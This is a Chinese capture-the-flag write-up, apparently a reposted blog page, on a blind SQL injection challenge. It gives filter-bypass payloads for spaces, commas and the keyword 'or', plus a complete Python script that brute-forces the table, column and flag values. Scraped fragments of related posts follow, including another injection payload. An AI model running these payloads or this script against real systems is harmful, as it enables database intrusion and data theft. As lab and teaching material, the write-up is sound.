实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)

题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php

过滤和拦截了某些东西,我经过多次尝试,最终构造的是

1‘=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)=‘1

其中过滤了一次or,所以information里的or要双写,substr中有逗号,所以mid代替,空格则用括号代替,/**/注释符不行是因为服务器过滤了*

服务器的sql查询当且仅当返回只一条数据时才回显you are in

(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)

的值要么为假0,要么为真1,由此便可猜解

写了个python脚本

(脚本中的爆破方法是一个个字符进行比对,其实为了提高效率可以写二分法,简便点就用这个方法,还有本来我的字符集只有字母数字下划线和逗号,但是猜解列名的时候发现不完整,所以手动判断了下(id=1‘=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘fiag‘))from(3)))=36)=‘1&submit=),第三位是$这个字符,才在字符集里加了这个,遇见问题要灵活判断,当然这也是因为我脚本写的烂 /笑哭)

 1 # -*- coding: utf-8 -*-
 2 import requests
 3
 4 strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 5
 6 url=‘http://ctf5.shiyanbar.com/web/earnest/index.php‘
 7
 8 headers={
 9     ‘Content-Type‘: ‘application/x-www-form-urlencoded‘
10 }
11
12 #fiag
13 def func1():
14     result=‘‘
15     for index in range(1,1000):
16         for i in strall:
17             data="id=1‘=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
18             print data
19             r=requests.post(url=url,data=data,headers=headers)
20             if r.text.find(‘You are in‘) >=0:
21                 result+=i
22                 print result
23                 break
24             elif i==‘9‘:
25                 print result
26                 return
27
28 #fL$4G
29 def func2():
30     result=‘‘
31     for index in range(1,1000):
32         for i in strall:
33             data="id=1‘=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘fiag‘))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
34             print data
35             r=requests.post(url=url,data=data,headers=headers)
36             if r.text.find(‘You are in‘) >=0:
37                 result+=i
38                 print result
39                 break
40             elif i==‘9‘:
41                 print result
42                 return
43
44
45 def func3():
46     result=‘‘
47     for index in range(1,1000):
48         for i in strall:
49             data="id=1‘=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
50             print data
51             r=requests.post(url=url,data=data,headers=headers)
52             if r.text.find(‘You are in‘) >=0:
53                 result+=i
54                 print result
55                 break
56             elif i==‘9‘:
57                 print result
58                 return
59
60
61
62 #func1()
63 #func2()
64 func3()
65
66
67 raw_input(‘done‘)

网站访问速度慢点话,猜解这个是真的慢!!!

还是建议写二分法!!!

原文地址:https://www.cnblogs.com/leixiao-/p/9780298.html

时间: 2024-10-01 02:32:06

实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)的相关文章

Python学习之绕过小括号过滤后的盲注

0x00   环境搭建 sqli-labs第八关,简单修改下源代码,加入下面一行代码 $id=preg_replace('/\(|\)/', "",$id); //过滤小括号 0x01   脚本编写 1.构造payload ' union select 1,2,3 from information_schema.tables where table_schema regexp binary '^%s.*$' -- - 2.脚本如下 #coding=utf-8 import urllib

PHP中取出字符串中的空格 逗号

1 preg_replace("/\s| |,|,/","",$_str) PHP中取出字符串中的空格 逗号 (包括中文状态下)

每天一点数据库之-----Day 5 过滤查询

每天一点数据库之-----Day 5 过滤查询 ----转载请注明出处:coder-pig 本节引言: 上一节我们学习了基本的数据检索,这节我们来学习高级一点的 过滤查询~ 1.单字符过滤: 就是使用"_"这个下划线来替代一个字符,比如,我们想检索出: door,book,cool,took这类字符串的话,我们可以使用"_oo_" 比如我们使用下述SQL语句: SELECT * FROM T_Worker WHERE FName LIKE '_a_y' 运行后: 如

对文本内容进行关键字过滤(正则过滤)

<!--html部分--> <!doctype html> <html> <head> <meta charset="utf-8"> <script type="text/javascript" src="demo.js"></script> <title></title> </head><body> 字数限制: &

织梦图集模型编辑文档checkbox多选字段失效逗号,被过滤问题

织梦图集模型编辑文档checkbox多选字段失效,还有tag标签的逗号,被过滤问题的解决方法 打开 include/helpers/filter.helper.php 找到 '/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/' 改成 '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S' 图集模型添加自定义字段checkbox数据类型,重新编辑时,勾选的多选全部没了. 打开/dede/album_edit.php 搜索 $arcRow=XSSClean

实验吧之【who are you?】(时间盲注)补充

第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr

[Visual Basic 6.0] 数据处理 关键字过滤

摘要:[Visual Basic 6.0] 数据处理 关键字过滤 在商业用途上,有些关键字在文章中总是显得特别不好,甚至是游戏账号.客户账号的建立,通常我们都会设计一个程序来过滤敏感字. 我们可以简单利用 Visual Baisc 6.0 写一个数据过滤的程序,如此一来就可以轻轻松松过滤掉含有某串关键字的数据. 首先过滤之前的文件: 过滤后的文件: 那么我们该怎么实践呢? 以下是 VB6 写的程序,基本上作法与结构都已经使用注解注解起来了! '# [Visual Basic 6.0] 数据处理

Sqlmap 中绕过空格拦截的12个脚本详细

图片较小,可以右键点击图片-->选择 "在新标签中打开图片" --> 查看大图 Sql 注入时遇到过滤空格时可以使用下面12个脚本尝试绕过,在实际利用中可以灵活修改.

[python]特殊输入格式(输入中包含空格逗号等)

特殊输入格式 输入中包含空格 a,b=map(int,input().split()) a,b,c=map(int,input().split()) 输入中包含 '/' a,b=map(int,input().split('/')) 输入中包含',' a,b=map(int,input().split(',')) 原文地址:https://www.cnblogs.com/xzzheng/p/10316428.html